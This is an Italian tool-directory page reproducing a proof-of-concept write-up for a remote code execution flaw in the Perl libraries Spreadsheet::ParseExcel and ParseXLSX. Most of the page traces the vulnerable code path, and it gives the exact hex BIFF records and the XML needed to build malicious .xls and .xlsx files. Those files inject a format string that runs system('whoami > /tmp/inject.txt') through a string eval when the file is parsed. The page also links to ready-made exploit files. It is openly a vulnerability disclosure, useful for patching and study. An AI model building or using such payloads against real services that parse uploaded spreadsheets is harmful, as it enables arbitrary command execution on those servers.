Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
perl_spreadsheet_excel_rce_poc — POC per la vulnerabilità RCE nella libreria ParseExcel, e anche in ParseXLSX, come libreria dipendente. | Kitploit
Strumenti/GitHubGitHub/haile01/perl_spreadsheet_excel_rce_poc
Analisi delle VulnerabilitàAnalisi del CodiceExploitSfruttamento di Applicazioni WebSviluppo PayloadBinary Exploitation
GitHubhaile01/perl_spreadsheet_excel_rce_poc

perl_spreadsheet_excel_rce_poc

POC per la vulnerabilità RCE nella libreria ParseExcel, e anche in ParseXLSX, come libreria dipendente.

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Vedi Repository
1861 anno faNon ancora revisionato

Vulnerabilità di sicurezza di ParseExcel

TL;DR: RCE dalla logica nel parsing delle stringhe di formato.

Breve spiegazione dell'exploit

La causa principale dell'exploit deriva dalla chiamata di eval su un input utente non validato in Utility.pm.

https://github.com/jmcnamara/spreadsheet-parseexcel/blob/e33d626d9b9cec91be7520dec1686712313957fb/lib/Spreadsheet/ParseExcel/Utility.pm#L171

root@kitploit:~
# Uitlity.pm
sub ExcelFmt {
	my ( $format_str, $number, $is_1904, $number_type, $want_subformats ) = @_;

	return $number unless $number =~ $qrNUMBER;
	
	my $conditional;
	if ( $format_str =~ /^\[([<>=][^\]]+)\](.*)$/ ) {
		$conditional = $1;
		$format_str  = $2;
	}

	#...

	if ($conditional) {
		# TODO. Replace string eval with a function.
		$section = eval "$number $conditional" ? 0 : 1;
	}
    #...
}

Secondo quanto ho ispezionato, l'implementazione attuale di questo flusso manca di una corretta validazione, mentre usare eval per gestire la logica di confronto è un "overkill" in questo caso. Per questo motivo, sia ParseExcel::parse che ParseXLSX::parse (usati per leggere i dati dai file Excel) sono vulnerabili a RCE.

Dove si trova $format_str?

ValFmt è il chiamante più probabile di ExcelFmt, quindi approfondirò questo metodo.

https://github.com/jmcnamara/spreadsheet-parseexcel/blob/e33d626d9b9cec91be7520dec1686712313957fb/lib/Spreadsheet/ParseExcel/FmtDefault.pm#L141-L161

root@kitploit:~
sub ValFmt {
    my ( $oThis, $oCell, $oBook ) = @_;

    my ( $Dt, $iFmtIdx, $iNumeric, $Flg1904 );

    if ( $oCell->{Type} eq 'Text' ) {
        $Dt =
          ( ( defined $oCell->{Val} ) && ( $oCell->{Val} ne '' ) )
          ? $oThis->TextFmt( $oCell->{Val}, $oCell->{Code} ) # Perform some encoding logic => doesn't cause RCE
          : '';

        return $Dt;
    }
    else {
        $Dt      = $oCell->{Val};
        $Flg1904 = $oBook->{Flg1904};
        my $sFmtStr = $oThis->FmtString( $oCell, $oBook );

        # where RCE lies => $oCell->{Type} must be either "Date" or "Number"
        return ExcelFmt( $sFmtStr, $Dt, $Flg1904, $oCell->{Type} ); 
    }
}

Se $oCell->{Type} è Date o Number, verrà chiamato ExcelFmt.

Il valore $format_str è quello restituito da un altro metodo: FmtString.

https://github.com/jmcnamara/spreadsheet-parseexcel/blob/e33d626d9b9cec91be7520dec1686712313957fb/lib/Spreadsheet/ParseExcel/FmtDefault.pm#L101-L136

root@kitploit:~
sub FmtString {
    my ( $oThis, $oCell, $oBook ) = @_;

    my $sFmtStr =
      $oThis->FmtStringDef( $oBook->{Format}[ $oCell->{FormatNo} ]->{FmtIdx},
        $oBook ); # maps to the correct format string
        
    #...

    unless ( defined($sFmtStr) ) {
        # assigns default format string depending on the value, can ignore
        #...
    }
    return $sFmtStr;
}

Viene chiamata un'altra funzione, quindi esamineremo anche FmtStringDef.

https://github.com/jmcnamara/spreadsheet-parseexcel/blob/e33d626d9b9cec91be7520dec1686712313957fb/lib/Spreadsheet/ParseExcel/FmtDefault.pm#L87-L96

root@kitploit:~
sub FmtStringDef {
    my ( $oThis, $iFmtIdx, $oBook, $rhFmt ) = @_;
    my $sFmtStr = $oBook->{FormatStr}->{$iFmtIdx}; # does the mapping

    # More with assigning default format string, can ignore
    #...
}

Ora che tutte le variabili sono chiare, possiamo concludere il vettore d'attacco come segue:

  • Iniettare la stringa di formato malevola con indice $iFmtIdx
  • Assicurarsi che un formato cella $oBook->{Format}[$cellFmtIdx] punti a $iFmtIdx
  • Assicurarsi che una cella punti a quel formato cella ($oCell->{FormatNo} = $cellFmtIdx) ![[flow 1.png]]

Nelle sezioni seguenti, illustrerò in dettaglio come il payload ha propagato la shell code fino al comando eval. Ci saranno 2 sezioni: una per il parsing dei file .xls tramite ParseExcel e una per il parsing dei file .xlsx tramite ParseXLSX.

PoC

Per dimostrarlo, di seguito è riportato il link ai nostri file Excel malevoli creati ad hoc (in .xls e .xlsx) che eseguono whoami e salvano il risultato nel file /tmp/inject.txt.

https://gist.github.com/haile01/0f4f19e4441895ef33ff27385080478b

Exploit su file XLS

Prendiamo un semplice programma Perl per analizzare un file xls come quello sotto, che usa ParseExcel::parse. L'RCE si verificherà durante il parsing, anche prima che venga recuperato qualsiasi dato.

root@kitploit:~
use strict;
use Spreadsheet::ParseExcel;

my $parser = Spreadsheet::ParseExcel->new();
# file.xls is malicious file from end user
my $workbook = $parser->parse("test.xls");

Iniezione della stringa di formato

I file binari di Excel 97 sono strutturati in blocchi di dati binari chiamati record BIFF. Ogni record inizia con un'intestazione chiamata opCode (in little-endian), seguita dalla lunghezza del record e dai suoi dati effettivi.

https://github.com/jmcnamara/spreadsheet-parseexcel/blob/19ea68d2ebf640e06df4f6937fcb43d76a5ec96b/lib/Spreadsheet/ParseExcel.pm#L438

root@kitploit:~
sub QueryNext {
    my ( $q ) = @_;


    if ( $q->{streamPos} + 4 >= $q->{streamLen} ) {
        return 0;
    }

    my $data = substr( $q->{stream}, $q->{streamPos}, 4 );

    ( $q->{opcode}, $q->{length} ) = unpack( 'v2', $data );

    # No biff record should be larger than around 20,000.
    if ( $q->{length} >= 20000 ) {
        return 0;
    }

    if ( $q->{length} > 0 ) {
        $q->{data} = substr( $q->{stream}, $q->{streamPos} + 4, $q->{length} );
    }
    else {
        $q->{data}                     = undef;
        $q->{dont_decrypt_next_record} = 1;
    }

    if ( $q->{encryption} == MS_BIFF_CRYPTO_RC4 ) {
        # Handles with decryption
    }
    elsif ( $q->{encryption} == MS_BIFF_CRYPTO_XOR ) {
        # not implemented
        return 0;
    }
    elsif ( $q->{encryption} == MS_BIFF_CRYPTO_NONE ) {

    }

    $q->{streamPos} += 4 + $q->{length};

    return 1;
}

Dopodiché, un gestore corrispondente al tipo di record viene usato per estrarre i dati del record BIFF.

https://github.com/jmcnamara/spreadsheet-parseexcel/blob/19ea68d2ebf640e06df4f6937fcb43d76a5ec96b/lib/Spreadsheet/ParseExcel.pm#L576-L580

root@kitploit:~
if ( defined $self->{FuncTbl}->{$record} && !$workbook->{_skip_chart} )
{
		$self->{FuncTbl}->{$record}
			->( $workbook, $record, $record_length, $record_header );
}

La stringa di formato è gestita da _subFormat, con opCode = 0x41E.

https://github.com/jmcnamara/spreadsheet-parseexcel/blob/19ea68d2ebf640e06df4f6937fcb43d76a5ec96b/lib/Spreadsheet/ParseExcel.pm#L1563-L1585

root@kitploit:~
sub _subFormat {

    my ( $oBook, $bOp, $bLen, $sWk ) = @_;
    my $sFmt;

    if ( $oBook->{BIFFVersion} <= verBIFF5 ) {
        $sFmt = substr( $sWk, 3, unpack( 'c', substr( $sWk, 2, 1 ) ) );
        $sFmt = $oBook->{FmtClass}->TextFmt( $sFmt, '_native_' );
    }
    else {
        $sFmt = _convBIFF8String( $oBook, substr( $sWk, 2 ) );
    }

    my $format_index = unpack( 'v', substr( $sWk, 0, 2 ) );

    # Excel 4 and earlier used an index of 0 to indicate that a built-in format
    # that was stored implicitly.
    if ( $oBook->{BIFFVersion} <= verBIFF4 && $format_index == 0 ) {
        $format_index = keys %{ $oBook->{FormatStr} };
    }

    $oBook->{FormatStr}->{$format_index} = $sFmt;
}

Non ero sicuro di quale versione BIFF fosse usata nel mio file .xls, ma secondo i dati nel file binario, dovrebbe corrispondere al caso else (> verBIFF5).

La struttura del record della stringa di formato nelle versioni BIFF più recenti dovrebbe essere: 1E 04 [lunghezza record - 2 byte] [indice stringa di formato - 2 byte] [lunghezza stringa di formato - 1 byte] [flag stringa - 2 byte] [contenuto stringa di formato]

Seguendo la struttura corretta, posso iniettare qualsiasi stringa di formato nel file .xls.

Il record BIFF effettivo per la stringa di formato che ho iniettato nella PoC (l'indice della stringa di formato è \x00\xa5)

root@kitploit:~
00000000: 1e04 3100 a500 2c00 005b 3e31 3233 3b73  ..1...,..[>123;s
                    ^^^^
		        format string index
00000010: 7973 7465 6d28 2777 686f 616d 6920 3e20  ystem('whoami >
00000020: 2f74 6d70 2f69 6e6a 6563 742e 7478 7427  /tmp/inject.txt'
00000030: 295d 3132 33                             )]123

Associazione di un formato cella alla stringa di formato

I formati cella definiscono molte proprietà per una cella, come stringa di formato, stile, caratteri, ... Un formato cella può collegarsi a una stringa di formato includendo l'indice della stringa di formato all'interno del proprio record BIFF. Questa logica è gestita da _subXf.

https://github.com/jmcnamara/spreadsheet-parseexcel/blob/19ea68d2ebf640e06df4f6937fcb43d76a5ec96b/lib/Spreadsheet/ParseExcel.pm#L1441-L1558

root@kitploit:~
sub _subXF {
    my ( $oBook, $bOp, $bLen, $sWk ) = @_;
    
    #...

    if ( $oBook->{BIFFVersion} == verBIFF4 ) {
        #...
    }
    elsif ( $oBook->{BIFFVersion} == verBIFF8 ) {
        my ( $iGen, $iAlign, $iGen2, $iBdr1, $iBdr2, $iBdr3, $iPtn );

        ( $iFnt, $iIdx, $iGen, $iAlign, $iGen2, $iBdr1, $iBdr2, $iBdr3, $iPtn )
          = unpack( "v7Vv", $sWk );
        #...
    }
    else {
        ( $iFnt, $iIdx, $iGen, $iAlign, $iPtn, $iPtn2, $iBdr1, $iBdr2 ) =
          unpack( "v8", $sWk );
        #...
    }

    push @{ $oBook->{Format} }, Spreadsheet::ParseExcel::Format->new(
        FontNo => $iFnt,
        Font   => $oBook->{Font}[$iFnt],
        FmtIdx => $iIdx, # <- the index that points to format string index
        #...
    );
}

Poiché la nostra BIFFVersion è maggiore di BIFF5, la condizione non dovrebbe ricadere nel primo caso. Per gli altri due, sappiamo che $iIdx è la seconda parola nei dati BIFF. Ecco perché anche questo passaggio è banale da eseguire.

Il record BIFF effettivo per il formato cella che ho usato nella PoC

root@kitploit:~
00000000: e000 1400 0000 a500 f5ff 2000 0000 0000  .......... .....
                         ^^^^
                  format string index
00000010: 0000 0000 0000 c020                      .......

Inoltre, i formati cella sono identificati dal loro indice in un elenco, quindi ho modificato il primo record e il mio indice di formato cella dovrebbe essere 0.

Associazione di una cella al formato cella

Affinché una cella applichi un formato, deve includere l'ID del formato cella all'interno del record BIFF della cella. Tuttavia, come ho già accennato, solo le celle con tipo Number o Date possono innescare l'RCE, quindi nella PoC userò una cella con tipo data (indicata come record RK BIFF).

https://github.com/jmcnamara/spreadsheet-parseexcel/blob/19ea68d2ebf640e06df4f6937fcb43d76a5ec96b/lib/Spreadsheet/ParseExcel.pm#L918-L939

root@kitploit:~
sub _subRK {
    my ( $workbook, $biff_number, $length, $data ) = @_;
    my ( $row, $col, $format_index, $rk_number ) = unpack( 'vvvV', $data );
    my $number = _decode_rk_number( $rk_number );

    _NewCell(
        $workbook, $row, $col,
        Kind     => 'RK',
        Val      => $number,
        FormatNo => $format_index,
        Format   => $workbook->{Format}->[$format_index],
        Numeric  => 1,
        Code     => undef,
        Book     => $workbook,
    );
    #... 
}

Possiamo vedere che l'indice che punta a un formato cella ora è la terza parola del record, quindi tutto ciò che dobbiamo fare è azzerare questa parola impostandola a \x00.

Il record BIFF effettivo per la cella data che ho usato nella PoC

root@kitploit:~
00000000: 7e02 0a00 0000 0000 0000 201a e240       ~......... ..@
                              ^^^^
	                        format index

Nota che il metodo _subRK non definisce ancora esplicitamente il tipo Date. Il controllo del tipo è implementato invece in ChkType.

https://github.com/jmcnamara/spreadsheet-parseexcel/blob/e33d626d9b9cec91be7520dec1686712313957fb/lib/Spreadsheet/ParseExcel/FmtDefault.pm#L166-L181

root@kitploit:~
sub ChkType {
    my ( $oPkg, $iNumeric, $iFmtIdx ) = @_;
    if ($iNumeric) {
        if (   ( ( $iFmtIdx >= 0x0E ) && ( $iFmtIdx <= 0x16 ) )
            || ( ( $iFmtIdx >= 0x2D ) && ( $iFmtIdx <= 0x2F ) ) )
        {
            return "Date";
        }
        else {
            return "Numeric";
        }
    }
    else {
        return "Text";
    }
}

Poiché $iNumeric è impostato a 1, siamo sicuri che il tipo non sia Text.

Infine, quando si inizializza un nuovo oggetto Cell, verrà chiamato ValFmt che continuerà la catena di esecuzione, propagando la nostra shell al metodo eval.

https://github.com/jmcnamara/spreadsheet-parseexcel/blob/e33d626d9b9cec91be7520dec1686712313957fb/lib/Spreadsheet/ParseExcel.pm#L2375-L2433

Exploit su file XLSX

Lavorare con il file .xlsx è molto più semplice, poiché possiamo modificare direttamente i dati in chiaro (formato xml).

Prendiamo un semplice programma Perl per analizzare un file xls come quello sotto, che usa ParseXLSX::parse. L'RCE si verificherà durante il parsing, anche prima che venga recuperato qualsiasi dato.

root@kitploit:~
use strict;
use Spreadsheet::ParseExcel;
use Spreadsheet::ParseXLSX;

my $parser = Spreadsheet::ParseXLSX->new();
# file.xlsx is malicious file from end user
my $workbook = $parser->parse("test.xlsx");

Un file XLSX è un file zip che comprime molti file xml, ciascuno contenente tipi specifici di dati della cartella di lavoro. Di seguito è riportato un esempio della struttura delle cartelle:

root@kitploit:~
|- [Content_Types].xml 
|- _rels
|- docProps
	|- app.xml
	|- core.xml
|- xl
	|- _rels   
		|- workbook.xml.rels          
	|- styles.xml              <--- Format strings & cell formats       
	|- workbook.xml
	|- sharedStrings.xml 
	|- theme             
		|- theme1.xml
	|- worksheets
		|- sheet1.xml            <--- Cell values

Iniezione della stringa di formato e associazione a un formato cella

La stringa di formato è inclusa nel file xl/styles.xml, sotto il tag <numFmts>, mentre i formati cella sono definiti sotto il tag <cellXfs>.

https://github.com/doy/spreadsheet-parsexlsx/blob/80198923186bedda61d4dceb0272210dc8bec533/lib/Spreadsheet/ParseXLSX.pm#L630-L923

root@kitploit:~
sub _parse_styles {
    # ...
    my %format_str = (
        %default_format_str,
        (map {
            $_->att('numFmtId') => $_->att('formatCode')
        } $styles->find_nodes('//s:numFmts/s:numFmt')),
    );
    # ...
    my @format = map {
        my %opts = (
            %default_format_opts,
            %ignore,
        );
        # ...
        $opts{FmtIdx}   = 0+($xml_fmt->att('numFmtId')||0);
        # ...
        Spreadsheet::ParseExcel::Format->new(%opts)
    } $styles->find_nodes('//s:cellXfs/s:xf');
    # ...
    
    
    return {
        FormatStr => \%format_str,
        Font      => \@font,
        Format    => \@format,
    }
}

Per iniettare una stringa di formato, dobbiamo aggiungere un tag <numFmt>, con formatCode come stringa di formato e numFmtId come qualsiasi valore intero vogliamo. Qui ho usato 123.

Dopodiché, aggiungeremo un altro elemento <xf> per associarlo alla stringa di formato, dove l'attributo numFmtId è il nostro ID scelto (123).

I dati xml finali che ho usato nella PoC

root@kitploit:~
<!-- xl/styles.xml -->
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<styleSheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:x16r2="http://schemas.microsoft.com/office/spreadsheetml/2015/02/main" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" mc:Ignorable="x14ac x16r2 xr">
...
  <numFmts count="1">
    <!-- injected format string -->
    <numFmt numFmtId="123" formatCode="[>123;system('whoami > /tmp/inject.txt')]123"/>
  </numFmts> 
...
  <cellXfs count="4">
    <xf numFmtId="0" fontId="0" fillId="0" borderId="0" xfId="0"/>
    <xf numFmtId="0" fontId="0" fillId="0" borderId="0" xfId="0" applyAlignment="1">
      <alignment horizontal="center"/>
    </xf>
    <xf numFmtId="0" fontId="0" fillId="0" borderId="0" xfId="0" applyAlignment="1"/>
    <!-- injected cell format -->
    <xf numFmtId="123" fontId="0" fillId="0" borderId="0" xfId="0" applyAlignment="1"/>
  </cellXfs>
...
</styleSheet>

Associazione di una cella al formato cella

https://github.com/doy/spreadsheet-parsexlsx/blob/80198923186bedda61d4dceb0272210dc8bec533/lib/Spreadsheet/ParseXLSX.pm#L205-L487

root@kitploit:~
sub _parse_sheet {
    my $sheet_xml = $self->_new_twig(
        twig_roots => {
            #...
            's:sheetData/s:row' => sub {
                my ( $twig, $row_elt ) = @_;
                for my $cell ( $row_elt->children('s:c') ){
                    my $type = $cell->att('t') || 'n';
                    my $val = $val_xml ? $val_xml->text : undef;

                    #...
                    elsif ($type eq 'n') {
                        $long_type = 'Numeric';
                        $val = defined($val) ? 0+$val : undef;
                    }
                    elsif ($type eq 'd') {
                        $long_type = 'Date';
                    }
                    # other $type results into $long_type = 'Text'
                    #...
                    
                    my $format_idx = $cell->att('s') || 0;
                    my $format = $sheet->{_Book}{Format}[$format_idx];
                    die "unknown format $format_idx" unless $format;
                    
                    my $cell = Spreadsheet::ParseExcel::Cell->new(
                        Val      => $val,
                        Type     => $long_type,
                        Merged   => undef, # fix up later
                        Format   => $format,
                        FormatNo => $format_idx,
                        ($formula
                            ? (Formula => $formula->text)
                            : ()),
                        Rich     => $Rich,
                    );
                    $cell->{_Value} = $sheet->{_Book}{FmtClass}->ValFmt(
                        $cell, $sheet->{_Book}
                    );
                }
            }
        }
    )
}

La logica per leggere i dati delle celle in questa libreria è più diretta: assegna semplicemente il tipo e il valore direttamente dagli attributi dei tag xml. Poiché ci serve che $oCell->{Type} sia Date o Numeric, dobbiamo solo avere l'attributo t uguale a d o n. Per associare la cella al formato cella, imposteremo anche l'attributo s sull'indice del formato cella (3).

I dati xml finali che ho usato nella PoC

root@kitploit:~
<!-- xl/worksheets/sheet1.xml -->
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<worksheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" mc:Ignorable="x14ac xr xr2 xr3" xr:uid="{39528CB2-0246-0542-84DC-33008C4AE4F2}">
  ...
  <sheetData>
    <row r="1" spans="1:2" x14ac:dyDescent="0.2">
      <c r="A1" s="3" t="n"> <!-- 3 is the order of our cell format -->
        <v>0</v>
      </c>
      <c r="B1" s="2"/>
    </row>
  </sheetData>
  ...
</worksheet>
Scarica lo strumento